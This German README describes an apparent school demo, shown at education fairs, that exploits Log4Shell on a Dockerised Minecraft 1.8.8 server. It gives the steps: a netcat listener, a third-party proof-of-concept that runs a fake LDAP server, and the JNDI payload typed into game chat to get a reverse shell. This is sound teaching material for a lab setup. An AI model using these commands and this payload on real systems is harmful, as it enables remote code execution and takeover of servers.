
Log4Shell (CVE-2021-44228) Minecraft-Demo. Verwendet für Bildungsmessen.
Diese Demo wird auf Bildungsmessen eingesetzt, um potenziellen zukünftigen Studierenden einen Eindruck von der Abteilung für Cybersicherheit an der HTL Villach zu vermitteln und zu zeigen, wie alltägliche Anwendungen ausgenutzt werden können.
Hinweis: Diese gesamte Demo verwendet Minecraft 1.8.8
Der Angreifer in diesem Szenario verwendet den PoC von kozmer. https://github.com/kozmer/log4j-shell-poc Die gesamte Anerkennung gebührt ihnen. Hinweis: Alle Befehle müssen in attacker/ ausgeführt werden
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20 heißen und sich im selben Verzeichnis befinden.$ python3 poc.py --userip <ip of docker-host> --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://<ip of docker-host>:1389/a}
Listening on 0.0.0.0:1389
Dieses Skript richtet für dich den HTTP-Server und den LDAP-Server ein und erstellt außerdem das Payload, das du in den anfälligen Parameter einfügen kannst. Danach solltest du – wenn alles gut gelaufen ist – eine Shell auf dem lport erhalten.
Auf der Opfer-Instanz verwenden wir eine veraltete und daher anfällige Version des JDK (jdk1.8.0_20) .
Um unseren Minecraft-Server zum Laufen zu bringen, müssen wir unser Docker-Image erstellen und ausführen.
Hinweis: Für einen erfolgreichen Build benötigst du eine eigene Kopie des Minecraft Vanilla 1.8.8 Servers (kann wegen Mojangs EULA nicht geteilt werden) Eine mögliche Quelle ist MCVERSIONS.NET
Speichere die Datei nach dem Herunterladen als server.jar in victim/
cd target/
docker build target/ -t minecraft-demo
Führe den soeben mit Docker erstellten anfälligen Minecraft-Server aus.
docker run --name vulnerable-server -p 25565:25565 minecraft-demo
Es ist wahrscheinlich, dass dein Container nach der Ausnutzung einfriert oder hängen bleibt. In diesem Fall kannst du ihn mit dem folgenden Befehl beenden:
docker kill vulnerable-server
Um die Schwachstelle auszunutzen, sende einfach die vom poc.py bereitgestellte Zeichenkette im Spiel-Chat.
${jndi:ldap://<ip of docker-host>:1389/a}
